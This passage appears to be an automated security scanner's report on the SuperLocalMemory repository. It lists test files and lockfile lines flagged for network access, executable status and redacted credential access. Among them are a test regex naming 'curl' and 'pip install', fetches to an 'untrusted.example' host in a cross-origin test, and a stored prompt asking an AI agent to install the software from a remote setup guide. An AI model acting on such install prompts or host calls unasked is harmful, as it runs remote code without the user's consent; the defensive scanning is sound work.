await h.window.fetch('/api/profiles/my-project', { method: 'DELETE' });
tests/ui/test_connected_apps.mjs
- Executable scriptline 1
Executable file - Network accessline 77
connections: [{ connection_id: CID, host: 'composio', state: 'ready_for_client', version: 4, verified: true, mcp_url: 'https://mcp.superlocalmemory.com/mcp', intent_key: 'b'.repeat(32), cleanup_pending: false, - Network accessline 78
connection_id: CID, host: 'composio', state: 'ready_for_client', version: 4, verified: true, mcp_url: 'https://mcp.superlocalmemory.com/mcp', intent_key: 'b'.repeat(32), cleanup_pending: false, }], - Network accessline 79
mcp_url: 'https://mcp.superlocalmemory.com/mcp', intent_key: 'b'.repeat(32), cleanup_pending: false, - Network accessline 84
async function boot({ html, url, fetchImpl, scripts, beforeScripts }) { const dom = new JSDOM(html || '<!doctype html><html><body><div id="mcp-pane"></div><div id="apps-pane"></div></body></html>', { runScripts: 'dangerously', url: ur - Network accessline 85
const dom = new JSDOM(html || '<!doctype html><html><body><div id="mcp-pane"></div><div id="apps-pane"></div></body></html>', { runScripts: 'dangerously', url: url || 'http://localhost:8765/', }); - Network accessline 86
runScripts: 'dangerously', url: url || 'http://localhost:8765/', - Network accessline 458
it('puts the MCP server URL, OAuth metadata URL and Past connections inside Technical details', async () => { const { dom, apps } = await bootPanes({ status: { connections: [ { connection_id: CID, host: 'composio', state: 'ready_f - Network accessline 459
const { dom, apps } = await bootPanes({ status: { connections: [ { connection_id: CID, host: 'composio', state: 'ready_for_client', version: 4, verified: true, mcp_url: 'https://mcp.superlocalmemory.com/mcp', intent_key: 'b'.repeat(32 - Network accessline 460
{ connection_id: CID, host: 'composio', state: 'ready_for_client', version: 4, verified: true, mcp_url: 'https://mcp.superlocalmemory.com/mcp', intent_key: 'b'.repeat(32), cleanup_pending: false }, - Network accessline 464
assert.equal(tech.open, false, 'collapsed by default'); const values = Array.from(tech.querySelectorAll('input[readonly]')).map((i) => i.value); assert.deepEqual(values, ['https://mcp.superlocalmemory.com/mcp', 'https://auth.superlo - Network accessline 465
const values = Array.from(tech.querySelectorAll('input[readonly]')).map((i) => i.value); assert.deepEqual(values, ['https://mcp.superlocalmemory.com/mcp', 'https://auth.superlocalmemory.com/.well-known/oauth-authorization-server']); - Network accessline 466
assert.deepEqual(values, ['https://mcp.superlocalmemory.com/mcp', 'https://auth.superlocalmemory.com/.well-known/oauth-authorization-server']); - Network accessline 532
const initiateRoute = (calls) => ['POST', /\/api\/v3\/connections\/initiate$/, (_hit, init) => { calls.push(init.headers); return { status: 200, body: { state: 'pending', connection_id: 'e'.repeat(32), authorization_url: `https://au - Network accessline 533
calls.push(init.headers); return { status: 200, body: { state: 'pending', connection_id: 'e'.repeat(32), authorization_url: `https://auth.superlocalmemory.com/owner-login?connection_id=${'e'.repeat(32)}` } }; }]; - Network accessline 534
return { status: 200, body: { state: 'pending', connection_id: 'e'.repeat(32), authorization_url: `https://auth.superlocalmemory.com/owner-login?connection_id=${'e'.repeat(32)}` } }; - Network accessline 624
assert.equal(flow.querySelector('[aria-current="step"] .apps-step-label').textContent, 'Add to your app'); assert.match(flow.textContent, /Add SuperLocalMemory to Composio/); assert.equal(flow.querySelector('input[aria-label="MCP se - Network accessline 625
assert.match(flow.textContent, /Add SuperLocalMemory to Composio/); assert.equal(flow.querySelector('input[aria-label="MCP server URL"]').value, 'https://mcp.superlocalmemory.com/mcp'); assert.equal(flow.querySelector('input[aria-la - Network accessline 626
assert.equal(flow.querySelector('input[aria-label="MCP server URL"]').value, 'https://mcp.superlocalmemory.com/mcp'); - Network accessline 627
assert.equal(flow.querySelector('input[aria-label="OAuth metadata URL"]').value, 'https://auth.superlocalmemory.com/.well-known/oauth-authorization-server'); - Network accessline 670
describe('Shell: navigation', () => { it('lists Connected apps under Integrations, right after MCP & Tools, tagged Optional', async () => { const { dom, document } = await bootShell({ url: 'http://localhost:8765/#dashboard-pane' }); - Network accessline 671
it('lists Connected apps under Integrations, right after MCP & Tools, tagged Optional', async () => { const { dom, document } = await bootShell({ url: 'http://localhost:8765/#dashboard-pane' }); const links = Array.from(document.que - Network accessline 672
const { dom, document } = await bootShell({ url: 'http://localhost:8765/#dashboard-pane' }); - Network accessline 683
it('deep-links: /#apps-pane opens Connected apps', async () => { const { dom, document } = await bootShell({ url: 'http://localhost:8765/#apps-pane', performanceType: 'reload' }); - Network accessline 684
const { dom, document } = await bootShell({ url: 'http://localhost:8765/#apps-pane', performanceType: 'reload' }); - Network accessline 690
it('opens Connected apps from the sidebar and from the pointer card on MCP & Tools', async () => { const { dom, window, document } = await bootShell({ url: 'http://localhost:8765/#mcp-pane', performanceType: 'reload' }); - Network accessline 691
const { dom, window, document } = await bootShell({ url: 'http://localhost:8765/#mcp-pane', performanceType: 'reload' }); - Network accessline 704
describe('Shell: returning from sign-in (server redirects to /#mcp-pane)', () => { it('lands a fresh navigation to /#mcp-pane on Connected apps when a connection exists', async () => { const { dom, window, document } = await bootShell - Network accessline 705
it('lands a fresh navigation to /#mcp-pane on Connected apps when a connection exists', async () => { const { dom, window, document } = await bootShell({ url: 'http://localhost:8765/#mcp-pane', performanceType: 'navigate' }); assert - Network accessline 706
const { dom, window, document } = await bootShell({ url: 'http://localhost:8765/#mcp-pane', performanceType: 'navigate' }); - Network accessline 713
it('treats a connection that was already ready on arrival as new and opens its steps', async () => { const { dom, document } = await bootShell({ url: 'http://localhost:8765/#mcp-pane', performanceType: 'navigate' }); - Network accessline 714
const { dom, document } = await bootShell({ url: 'http://localhost:8765/#mcp-pane', performanceType: 'navigate' }); - Network accessline 720
it('falls back to MCP & Tools when there is no live connection', async () => { const { dom, document } = await bootShell({ url: 'http://localhost:8765/#mcp-pane', performanceType: 'navigate', - Network accessline 721
const { dom, document } = await bootShell({ url: 'http://localhost:8765/#mcp-pane', performanceType: 'navigate', status: statusBody({ connections: [{ connection_id: 'c'.repeat(32), host: 'muse', state: 'cancelled', version: 5, v - Network accessline 722
url: 'http://localhost:8765/#mcp-pane', performanceType: 'navigate', - Network accessline 729
it('leaves a reload of MCP & Tools alone', async () => { const { dom, document } = await bootShell({ url: 'http://localhost:8765/#mcp-pane', performanceType: 'reload' }); - Network accessline 730
const { dom, document } = await bootShell({ url: 'http://localhost:8765/#mcp-pane', performanceType: 'reload' }); - Network accessline 735
it('leaves /#mcp-pane alone when the URL carries any other intent', async () => { const { dom, document } = await bootShell({ url: 'http://localhost:8765/?tab=tools#mcp-pane', performanceType: 'navigate' }); - Network accessline 736
const { dom, document } = await bootShell({ url: 'http://localhost:8765/?tab=tools#mcp-pane', performanceType: 'navigate' });
tests/ui/test_connected_apps_replaced.mjs
- Executable scriptline 1
Executable file - Network accessline 59
['GET', new RegExp(`/api/v3/connections/${CID}/apps$`), () => ({ status: 200, body: { connection_id: CID, apps: appsBody } })], ].concat(handlers || [])); const dom = new JSDOM('<!doctype html><html><body></body></html>', { runScripts: - Network accessline 60
].concat(handlers || [])); const dom = new JSDOM('<!doctype html><html><body></body></html>', { runScripts: 'dangerously', url: 'http://localhost:8765/' }); const { window } = dom; - Network accessline 61
const dom = new JSDOM('<!doctype html><html><body></body></html>', { runScripts: 'dangerously', url: 'http://localhost:8765/' });
tests/ui/test_connection_abilities.mjs
- Executable scriptline 1
Executable file - Network accessline 33
connections: [{ connection_id: CID, host: 'chatgpt', state, version: 4, verified: true, mcp_url: 'https://mcp.superlocalmemory.com/mcp', intent_key: 'b'.repeat(32), cleanup_pending: false, - Network accessline 34
connection_id: CID, host: 'chatgpt', state, version: 4, verified: true, mcp_url: 'https://mcp.superlocalmemory.com/mcp', intent_key: 'b'.repeat(32), cleanup_pending: false, }], - Network accessline 35
mcp_url: 'https://mcp.superlocalmemory.com/mcp', intent_key: 'b'.repeat(32), cleanup_pending: false, - Network accessline 59
}; const dom = new JSDOM('<!doctype html><html><body><div id="apps-pane"></div></body></html>', { runScripts: 'dangerously', url: 'http://localhost:8765/', - Network accessline 60
const dom = new JSDOM('<!doctype html><html><body><div id="apps-pane"></div></body></html>', { runScripts: 'dangerously', url: 'http://localhost:8765/', }); - Network accessline 61
runScripts: 'dangerously', url: 'http://localhost:8765/',
tests/ui/test_contrast_token_sweep.mjs
- Executable scriptline 1
Executable file
tests/ui/test_control_plane_contract.mjs
- Executable scriptline 1
Executable file
tests/ui/test_dash_home_help_theme.mjs
- Executable scriptline 1
Executable file - Network accessline 22
function dom(html, fetchImpl, extra = '') { const d = new JSDOM(`<!DOCTYPE html><html><body>${html}</body></html>`, { runScripts: 'outside-only', url: 'http://localhost:8765/' }); d.window.fetch = fetchImpl; - Network accessline 23
const d = new JSDOM(`<!DOCTYPE html><html><body>${html}</body></html>`, { runScripts: 'outside-only', url: 'http://localhost:8765/' }); d.window.fetch = fetchImpl; d.window.requestAnimationFrame = (cb) => setTimeout(cb, 0); - Network accessline 113
doc.getElementById('od-help-btn').click(); const hrefs = [...doc.querySelectorAll('#slm-help-panel a')].map((x) => x.href); for (const want of ['https://www.superlocalmemory.com/', '/tree/main/docs', '/blob/main/README.md', '/blob/m - Network accessline 114
const hrefs = [...doc.querySelectorAll('#slm-help-panel a')].map((x) => x.href); for (const want of ['https://www.superlocalmemory.com/', '/tree/main/docs', '/blob/main/README.md', '/blob/main/SETUP_FOR_AGENTS.md', '/wiki']) { ass - Network accessline 115
for (const want of ['https://www.superlocalmemory.com/', '/tree/main/docs', '/blob/main/README.md', '/blob/main/SETUP_FOR_AGENTS.md', '/wiki']) { - Network accessline 127
const shell = read('js/od-shell.js'); it('follows the system until the toggle is used, then persists the choice', () => { const d = new JSDOM('<!DOCTYPE html><html><body><div class="topbar"><button data-theme-icon></button></div></bod - Network accessline 128
it('follows the system until the toggle is used, then persists the choice', () => { const d = new JSDOM('<!DOCTYPE html><html><body><div class="topbar"><button data-theme-icon></button></div></body></html>', { runScripts: 'outside-only' - Network accessline 129
const d = new JSDOM('<!DOCTYPE html><html><body><div class="topbar"><button data-theme-icon></button></div></body></html>', { runScripts: 'outside-only', url: 'http://localhost:8765/' }); d.window.matchMedia = (q) => ({ matches: /light/
tests/ui/test_dashboard_activity_local_day.mjs
- Executable scriptline 1
Executable file - Network accessline 34
const dom = new JSDOM(`<!doctype html><html><body> <div id="sp-big"></div><div id="k-avg-day"></div> </body></html>`, { runScripts: 'dangerously', url: 'http://localhost:8765/' }); - Network accessline 35
<div id="sp-big"></div><div id="k-avg-day"></div> </body></html>`, { runScripts: 'dangerously', url: 'http://localhost:8765/' }); const { window } = dom; - Network accessline 36
</body></html>`, { runScripts: 'dangerously', url: 'http://localhost:8765/' });
tests/ui/test_dashboard_browsing_truth.mjs
- Executable scriptline 1
Executable file
tests/ui/test_dashboard_cache.mjs
- Executable scriptline 1
Executable file - Network accessline 48
</body></html>`, { runScripts: 'dangerously', url: 'http://localhost:8765/', - Network accessline 49
runScripts: 'dangerously', url: 'http://localhost:8765/', }); - Network accessline 50
url: 'http://localhost:8765/', - Network accessline 87
</body></html>`, { runScripts: 'dangerously', url: 'http://localhost:8765/', - Network accessline 88
runScripts: 'dangerously', url: 'http://localhost:8765/', }); - Network accessline 89
url: 'http://localhost:8765/', - Network accessline 126
await window.refreshDashboard({ force: true }); const readsBeforeMutation = calls.filter((path) => path !== '/internal/token').length; await window.fetch('/api/behavioral/report-outcome', { method: 'POST' }); - Network accessline 127
const readsBeforeMutation = calls.filter((path) => path !== '/internal/token').length; await window.fetch('/api/behavioral/report-outcome', { method: 'POST' }); await window.refreshDashboard(); - Network accessline 128
await window.fetch('/api/behavioral/report-outcome', { method: 'POST' }); - Network accessline 146
</body></html>`, { runScripts: 'dangerously', url: 'http://localhost:8765/', - Network accessline 147
runScripts: 'dangerously', url: 'http://localhost:8765/', }); - Network accessline 148
url: 'http://localhost:8765/', - Network accessline 193
</body></html>`, { runScripts: 'dangerously', url: 'http://localhost:8765/', - Network accessline 194
runScripts: 'dangerously', url: 'http://localhost:8765/', }); - Network accessline 195
url: 'http://localhost:8765/',
tests/ui/test_dashboard_release_identity.mjs
- Executable scriptline 1
Executable file
tests/ui/test_dashboard_source_truth.mjs
- Executable scriptline 1
Executable file
tests/ui/test_erase_outcome_states_what_remains.mjs
- Executable scriptline 1
Executable file
tests/ui/test_event_stream_types.mjs
- Executable scriptline 1
Executable file
tests/ui/test_export_reports_the_real_outcome.mjs
- Executable scriptline 1
Executable file
tests/ui/test_fetch_invalidation.mjs
- Executable scriptline 1
Executable file - Network accessline 20
const dom = new JSDOM('<!doctype html><html><body></body></html>', { runScripts: 'dangerously', url: 'http://localhost:8765/', - Network accessline 21
runScripts: 'dangerously', url: 'http://localhost:8765/', }); - Network accessline 22
url: 'http://localhost:8765/', - Network accessline 56
const response = await h.window.fetch('/remember', { - Network accessline 71
await h.window.fetch('/api/search', { - Network accessline 90
await h.window.fetch('//untrusted.example/mutate', { method: 'POST' }); - Network accessline 102
await h.window.fetch(new h.window.URL('https://untrusted.example/mutate'), { - Network accessline 106
assert.equal(h.calls.length, 1); assert.equal(h.calls[0].input.href, 'https://untrusted.example/mutate'); - Network accessline 107
assert.equal(h.calls[0].input.href, 'https://untrusted.example/mutate'); - Network accessline 113
await h.window.fetch('/api/rbac/status'); - Network accessline 124
await h.window.fetch('/api/version'); - Network accessline 134
await h.window.fetch('https://untrusted.example/api/rbac/status');
tests/ui/test_fg3_classification.mjs
- Executable scriptline 1
Executable file
tests/ui/test_governance_recovery_controls.mjs
- Executable scriptline 1
Executable file
tests/ui/test_governance_wording_reproductions.mjs
- Executable scriptline 1
Executable file
tests/ui/test_ingestion_badges_say_what_the_api_reports.mjs
- Executable scriptline 1
Executable file
tests/ui/test_local_apps_detection.mjs
- Executable scriptline 1
Executable file - Network accessline 11
function boot(responses) { const dom = new JSDOM('<div id="apps"></div>', { url: 'http://127.0.0.1:19781', runScripts: 'dangerously' }); - Network accessline 12
const dom = new JSDOM('<div id="apps"></div>', { url: 'http://127.0.0.1:19781', runScripts: 'dangerously' });
tests/ui/test_local_harness_connections.mjs
- Executable scriptline 1
Executable file - Network accessline 9
const settle = async () => { for (let i = 0; i < 10; i++) await new Promise(r => setTimeout(r, 0)); }; function boot(data) { const dom = new JSDOM('<div id="apps"></div><div id="health"></div>', { url: 'http://127.0.0.1:19781', runScripts - Network accessline 10
function boot(data) { const dom = new JSDOM('<div id="apps"></div><div id="health"></div>', { url: 'http://127.0.0.1:19781', runScripts: 'dangerously' }); windows.push(dom.window); - Network accessline 11
const dom = new JSDOM('<div id="apps"></div><div id="health"></div>', { url: 'http://127.0.0.1:19781', runScripts: 'dangerously' });
tests/ui/test_memories_kind_label_render.mjs
- Executable scriptline 1
Executable file
tests/ui/test_memories_render.mjs
- Executable scriptline 1
Executable file
tests/ui/test_mode_quick_switch_guard.mjs
tests/ui/test_model_pickers.mjs
- Executable scriptline 1
Executable file
tests/ui/test_od_botmessages_pane.mjs
- Executable scriptline 1
Executable file
tests/ui/test_od_brain_reward_truth.mjs
- Executable scriptline 1
Executable file
tests/ui/test_od_engine_upgrade.mjs
- Executable scriptline 1
Executable file - Network accessline 42
h.window.odReindex = { track: (b) => state.tracked.push(b), conflict: (b) => state.conflicts.push(b), onFinish: () => {} }; h.window.fetch0 = h.window.fetch; h.post = (url, body) => h.window.fetch(url, { method: 'POST', headers: { ' - Network accessline 43
h.window.fetch0 = h.window.fetch; h.post = (url, body) => h.window.fetch(url, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(body) }).then(r => r.ok ? r : r.json().then(d => { - Network accessline 44
h.post = (url, body) => h.window.fetch(url, { method: 'POST', headers: { 'Content-Type': 'application/json' },
tests/ui/test_od_features_card.mjs
- Executable scriptline 1
Executable file
tests/ui/test_od_graph_draw_calls.mjs
- Executable scriptline 1
Executable file - Network accessline 122
const dom = new JSDOM( '<!DOCTYPE html><html><head></head><body></body></html>', { url: 'http://localhost:8799', runScripts: 'dangerously' }, - Network accessline 123
'<!DOCTYPE html><html><head></head><body></body></html>', { url: 'http://localhost:8799', runScripts: 'dangerously' }, ); - Network accessline 124
{ url: 'http://localhost:8799', runScripts: 'dangerously' },
tests/ui/test_od_graph_label_clipping.mjs
- Executable scriptline 1
Executable file - Network accessline 95
const dom = new JSDOM( '<!DOCTYPE html><html><head></head><body></body></html>', { url: 'http://localhost:8799', runScripts: 'dangerously' }, - Network accessline 96
'<!DOCTYPE html><html><head></head><body></body></html>', { url: 'http://localhost:8799', runScripts: 'dangerously' }, ); - Network accessline 97
{ url: 'http://localhost:8799', runScripts: 'dangerously' },
tests/ui/test_od_graph_perf_budget.mjs
- Executable scriptline 1
Executable file
tests/ui/test_od_media_pane.mjs
- Executable scriptline 1
Executable file - Dangerous shell operationline 236
const rm = [...h.pane.querySelectorAll('button')].find(b => /Remove/.test(b.textContent)); - Network accessline 306
const item = (n, extra = {}) => ({ media_id: idOf(n), has_thumb: true, created_at: 't' + n, ...extra }); const listRoute = (pages) => ['GET', '/api/v3/media', (call) => { const cursor = new URL(call.url, 'http://x').searchParams - Network accessline 307
const listRoute = (pages) => ['GET', '/api/v3/media', (call) => { const cursor = new URL(call.url, 'http://x').searchParams.get('cursor') || ''; return { json: pages[cursor] }; - Network accessline 308
const cursor = new URL(call.url, 'http://x').searchParams.get('cursor') || '';
tests/ui/test_od_media_polish.mjs
- Executable scriptline 1
Executable file
tests/ui/test_od_media_retry.mjs
- Executable scriptline 1
Executable file
tests/ui/test_od_mesh_local_sessions.mjs
- Executable scriptline 1
Executable file
tests/ui/test_od_new_panes_nav.mjs
- Executable scriptline 1
Executable file - Network accessline 21
<span id="topbar-crumb"></span><span id="topbar-heading"></span> <div class="topbar"><button data-theme-icon></button></div></body></html>`, { runScripts: 'dangerously', url: 'http://localhost:8765/' }); - Network accessline 22
<div class="topbar"><button data-theme-icon></button></div></body></html>`, { runScripts: 'dangerously', url: 'http://localhost:8765/' }); const w = dom.window; - Network accessline 23
{ runScripts: 'dangerously', url: 'http://localhost:8765/' });
tests/ui/test_od_ops_health_erasure.mjs
- Executable scriptline 1
Executable file
tests/ui/test_od_restart_shared.mjs
- Executable scriptline 1
Executable file
tests/ui/test_od_settings_background_refresh.mjs
- Executable scriptline 1
Executable file
tests/ui/test_od_shell_navigation.mjs
- Executable scriptline 1
Executable file - Network accessline 30
<button id="dashboard-tab"></button> <button id="memories-tab"></button> </body></html>`, { runScripts: 'dangerously', url: 'http://localhost:8765/' }); - Network accessline 31
<button id="memories-tab"></button> </body></html>`, { runScripts: 'dangerously', url: 'http://localhost:8765/' }); const { window } = dom; - Network accessline 32
</body></html>`, { runScripts: 'dangerously', url: 'http://localhost:8765/' }); - Network accessline 138
window.odRenderMemories = function (pane) { pane.innerHTML = '<div data-state="loading">loading</div>'; window.fetch('/api/memories').then(function (response) { - Network accessline 139
pane.innerHTML = '<div data-state="loading">loading</div>'; window.fetch('/api/memories').then(function (response) { return response.json(); - Network accessline 140
window.fetch('/api/memories').then(function (response) {
tests/ui/test_od_signin_gate.mjs
- Executable scriptline 1
Executable file
tests/ui/test_od_sources.mjs
- Executable scriptline 1
Executable file
tests/ui/test_od_sources_picker.mjs
- Executable scriptline 1
Executable file
tests/ui/test_od_star_ask.mjs
- Executable scriptline 1
Executable file - Network accessline 15
const ui = join(here, '../../src/superlocalmemory/ui'); const html = readFileSync(join(ui, 'index.html'), 'utf8'); const REPO = 'https://github.com/qualixar/superlocalmemory'; - Network accessline 16
const html = readFileSync(join(ui, 'index.html'), 'utf8'); const REPO = 'https://github.com/qualixar/superlocalmemory'; const KEY = 'slm.star.dismissed'; - Network accessline 17
const REPO = 'https://github.com/qualixar/superlocalmemory';
tests/ui/test_od_startup_and_state_mascots.mjs
- Executable scriptline 1
Executable file
tests/ui/test_od_team_owner_needs_no_signin.mjs
- Executable scriptline 1
Executable file
tests/ui/test_od_welcome.mjs
- Executable scriptline 1
Executable file - Network accessline 16
const KEY = 'slm.welcome.dismissed'; const PROMPT = 'Install SuperLocalMemory on this computer for me. Follow ' + 'https://github.com/qualixar/superlocalmemory/blob/main/SETUP_FOR_AGENTS.md step by step and show me ' - Network accessline 17
const PROMPT = 'Install SuperLocalMemory on this computer for me. Follow ' + 'https://github.com/qualixar/superlocalmemory/blob/main/SETUP_FOR_AGENTS.md step by step and show me ' + 'what each step printed. Ask me only one question, - Network accessline 18
+ 'https://github.com/qualixar/superlocalmemory/blob/main/SETUP_FOR_AGENTS.md step by step and show me ' - Network accessline 256
const clone = h.host.cloneNode(true); clone.querySelector('.od-welcome-prompt').remove(); assert.doesNotMatch(clone.textContent, /\bslm [a-z]+|pip install|npm |curl /i); - Network accessline 257
clone.querySelector('.od-welcome-prompt').remove(); assert.doesNotMatch(clone.textContent, /\bslm [a-z]+|pip install|npm |curl /i); }); - Network accessline 258
assert.doesNotMatch(clone.textContent, /\bslm [a-z]+|pip install|npm |curl /i);
tests/ui/test_od_whatsnew_card.mjs
- Executable scriptline 1
Executable file
tests/ui/test_pane_error.mjs
tests/ui/test_profile_switch.mjs
- Executable scriptline 1
Executable file
tests/ui/test_quick_actions_changed_this_week_kind.mjs
- Executable scriptline 1
Executable file
tests/ui/test_recall_lab_badge_contrast.mjs
- Executable scriptline 1
Executable file
tests/ui/test_responsive_acceptance.mjs
- Executable scriptline 1
Executable file
tests/ui/test_runner_invocation_is_documented_correctly.mjs
- Executable scriptline 1
Executable file
tests/ui/test_saved_views_and_summaries_panes.mjs
- Executable scriptline 1
Executable file
tests/ui/test_scope_settings.mjs
- Executable scriptline 1
Executable file
tests/ui/test_search_keeps_shared_scope_in_drawer.mjs
- Executable scriptline 1
Executable file
tests/ui/test_settings_auth_failure.mjs
- Executable scriptline 1
Executable file
tests/ui/test_settings_reindex_progress.mjs
- Executable scriptline 1
Executable file
tests/ui/test_settings_save_outcome.mjs
- Executable scriptline 1
Executable file
tests/ui/test_settings_saves_tell_the_truth.mjs
- Executable scriptline 1
Executable file
tests/ui/test_store_check.mjs
- Executable scriptline 1
Executable file
tests/ui/test_stored_text_cannot_break_out_of_attributes.mjs
- Executable scriptline 1
Executable file
tests/ui/test_strict_mode_key_prompt.mjs
- Executable scriptline 1
Executable file - Network accessline 25
function build(tokenAnswer) { const dom = new JSDOM('<!doctype html><html><body></body></html>', { runScripts: 'dangerously', url: 'http://localhost:8765/', - Network accessline 26
const dom = new JSDOM('<!doctype html><html><body></body></html>', { runScripts: 'dangerously', url: 'http://localhost:8765/', }); - Network accessline 27
runScripts: 'dangerously', url: 'http://localhost:8765/', - Network accessline 95
it('sends the pasted key with a write', async () => { const h = build(() => ({ status: 403, body: REFUSAL })); const write = h.window.fetch('/api/memories', { method: 'POST', body: '{}' }); - Network accessline 96
const h = build(() => ({ status: 403, body: REFUSAL })); const write = h.window.fetch('/api/memories', { method: 'POST', body: '{}' }); await tick(); - Network accessline 97
const write = h.window.fetch('/api/memories', { method: 'POST', body: '{}' }); - Network accessline 115
it('a page that reads /internal/token itself gets the pasted key as a normal answer', async () => { const h = build(() => ({ status: 403, body: REFUSAL })); const reading = h.window.fetch('/internal/token', { credentials: 'same-orig - Network accessline 116
const h = build(() => ({ status: 403, body: REFUSAL })); const reading = h.window.fetch('/internal/token', { credentials: 'same-origin' }); await tick(); - Network accessline 117
const reading = h.window.fetch('/internal/token', { credentials: 'same-origin' }); - Network accessline 133
assert.equal(promptEl(h.window), null, 'no second prompt right after declining'); await assert.rejects( h.window.fetch('/api/memories', { method: 'POST', body: '{}' }), - Network accessline 134
await assert.rejects( h.window.fetch('/api/memories', { method: 'POST', body: '{}' }), /local write credential unavailable/, - Network accessline 135
h.window.fetch('/api/memories', { method: 'POST', body: '{}' }),
tests/ui/test_web_access_status.mjs
- Executable scriptline 1
Executable file - Network accessline 23
const CID = 'c'.repeat(32); const DAY = 86400e3; const MCP_URL = 'https://mcp.superlocalmemory.com/mcp'; - Network accessline 25
const MCP_URL = 'https://mcp.superlocalmemory.com/mcp'; - Network accessline 44
const state = { connections: initial }; const dom = new JSDOM('<!doctype html><html><body><div id="apps-pane"></div></body></html>', { runScripts: 'dangerously', url: 'http://localhost:8765/', - Network accessline 45
const dom = new JSDOM('<!doctype html><html><body><div id="apps-pane"></div></body></html>', { runScripts: 'dangerously', url: 'http://localhost:8765/', }); - Network accessline 46
runScripts: 'dangerously', url: 'http://localhost:8765/',
tests/ui/test_wp10_accessible_tasks.mjs
- Executable scriptline 1
Executable file
tests/ui/test_wp10_backup_tasks.mjs
- Executable scriptline 1
Executable file
tests/ui/test_wp10_daily.mjs
- Executable scriptline 1
Executable file
tests/ui/test_wp10_feed_paging.mjs
- Executable scriptline 1
Executable file
tests/ui/test_wp10_memory_governance.mjs
- Executable scriptline 1
Executable file
tests/ui/test_wp19_memory_health.mjs
- Executable scriptline 1
Executable file
tests/ui/test_wp19_stub_badge.mjs
- Executable scriptline 1
Executable file
tests/ui/test_wp6_recall_states.mjs
- Executable scriptline 1
Executable file
tests/upgrade/_slm_env.py
- Executable scriptline 1
Executable file - Network accessline 44
def port_listening(port: int) -> bool: with socket.socket() as s: - Network accessline 45
with socket.socket() as s: - Access to secretsline 132
[Credential-related source omitted] - Network accessline 201
if not self.scratch_alive(): return None url = f"http://127.0.0.1:{self.live_port()}/health" - Network accessline 202
return None url = f"http://127.0.0.1:{self.live_port()}/health" try: - Network accessline 203
url = f"http://127.0.0.1:{self.live_port()}/health" try: with urllib.request.urlopen(url, timeout=3) as resp: - Network accessline 204
try: with urllib.request.urlopen(url, timeout=3) as resp: return json.loads(resp.read().decode()) - Network accessline 205
with urllib.request.urlopen(url, timeout=3) as resp: - Access to secretsline 261
[Credential-related source omitted]
tests/upgrade/_verdicts.py
- Executable scriptline 1
Executable file
tests/upgrade/build_fixture.py
- Executable scriptline 1
Executable file
tests/upgrade/corpus.py
- Executable scriptline 1
Executable file
tests/upgrade/test_corpus.py
- Executable scriptline 1
Executable file
tests/upgrade/test_fail_closed.py
- Executable scriptline 1
Executable file
tests/upgrade/test_scratch_guard.py
- Executable scriptline 1
Executable file - Access to secretsline 36
[Credential-related source omitted] - Network accessline 64
assert all(env.PORT_LO <= p <= env.PORT_HI for p in seen) assert not seen & env.PROTECTED_PORTS with socket.socket() as srv: - Network accessline 65
assert not seen & env.PROTECTED_PORTS with socket.socket() as srv: srv.bind(("127.0.0.1", 0)) - Network accessline 66
with socket.socket() as srv: - Network accessline 74
def test_legacy_start_refuses_when_default_port_is_taken(scratch, monkeypatch): with socket.socket() as srv: - Network accessline 75
with socket.socket() as srv:
tests/upgrade/test_upgrade_fixtures.py
- Executable scriptline 1
Executable file - Access to secretsline 31
[Credential-related source omitted] - Access to secretsline 32
[Credential-related source omitted] - Access to secretsline 43
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 47
[Credential-related source omitted] - Access to secretsline 50
[Credential-related source omitted]
tests/upgrade/upgrade_check.py
- Executable scriptline 1
Executable file
tests/vector/test_lancedb_backend.py
- Executable scriptline 1
Executable file
tests/vector/test_lancedb_dimension.py
- Executable scriptline 1
Executable file
tests/vector/test_lancedb_loop_never_blocks_exit.py
- Executable scriptline 1
Executable file
tests/vector/test_lancedb_tier_injection.py
- Executable scriptline 1
Executable file
tests/vector/test_vector_parity_repair_native.py
- Executable scriptline 1
Executable file
uv.lock
- Network accessline 14
name = "accelerate" version = "1.15.0" source = { registry = "https://pypi.org/simple" } - Network accessline 15
version = "1.15.0" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 16
source = { registry = "https://pypi.org/simple" } - Network accessline 24
{ name = "torch" }, ] sdist = { url = "https://files.pythonhosted.org/packages/f5/b5/1d3ed029ac71d3f2961346829a268da923698e9fd63f218f78841f216bfd/accelerate-1.15.0.tar.gz", hash = "sha256:5654f8c5eaa0d4fa68b33e287a97765da6849bf6d51dcac874e7 - Network accessline 25
] sdist = { url = "https://files.pythonhosted.org/packages/f5/b5/1d3ed029ac71d3f2961346829a268da923698e9fd63f218f78841f216bfd/accelerate-1.15.0.tar.gz", hash = "sha256:5654f8c5eaa0d4fa68b33e287a97765da6849bf6d51dcac874e73fbbddfb6134", size - Network accessline 26
sdist = { url = "https://files.pythonhosted.org/packages/f5/b5/1d3ed029ac71d3f2961346829a268da923698e9fd63f218f78841f216bfd/accelerate-1.15.0.tar.gz", hash = "sha256:5654f8c5eaa0d4fa68b33e287a97765da6849bf6d51dcac874e73fbbddfb6134", size = - Network accessline 27
wheels = [ { url = "https://files.pythonhosted.org/packages/8a/4c/34f0450479d01195027260da68d8a3880683f1640c3ca5adf64acb3185f1/accelerate-1.15.0-py3-none-any.whl", hash = "sha256:97eacca0b73e45cb867dbf8c5d5d4dc32219544300e0c8992c7334dc2 - Network accessline 28
{ url = "https://files.pythonhosted.org/packages/8a/4c/34f0450479d01195027260da68d8a3880683f1640c3ca5adf64acb3185f1/accelerate-1.15.0-py3-none-any.whl", hash = "sha256:97eacca0b73e45cb867dbf8c5d5d4dc32219544300e0c8992c7334dc2ef33cec", size - Network accessline 32
name = "annotated-doc" version = "0.0.4" source = { registry = "https://pypi.org/simple" } - Network accessline 33
version = "0.0.4" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/57/ba/046ceea27344560984e26a590f90bc7f4a75b06701f653222458922b558c/annotated_doc-0.0.4.tar.gz", hash = "sha256:fbcd - Network accessline 34
source = { registry = "https://pypi.org/simple" } - Network accessline 35
sdist = { url = "https://files.pythonhosted.org/packages/57/ba/046ceea27344560984e26a590f90bc7f4a75b06701f653222458922b558c/annotated_doc-0.0.4.tar.gz", hash = "sha256:fbcda96e87e9c92ad167c2e53839e57503ecfda18804ea28102353485033faa4", size - Network accessline 36
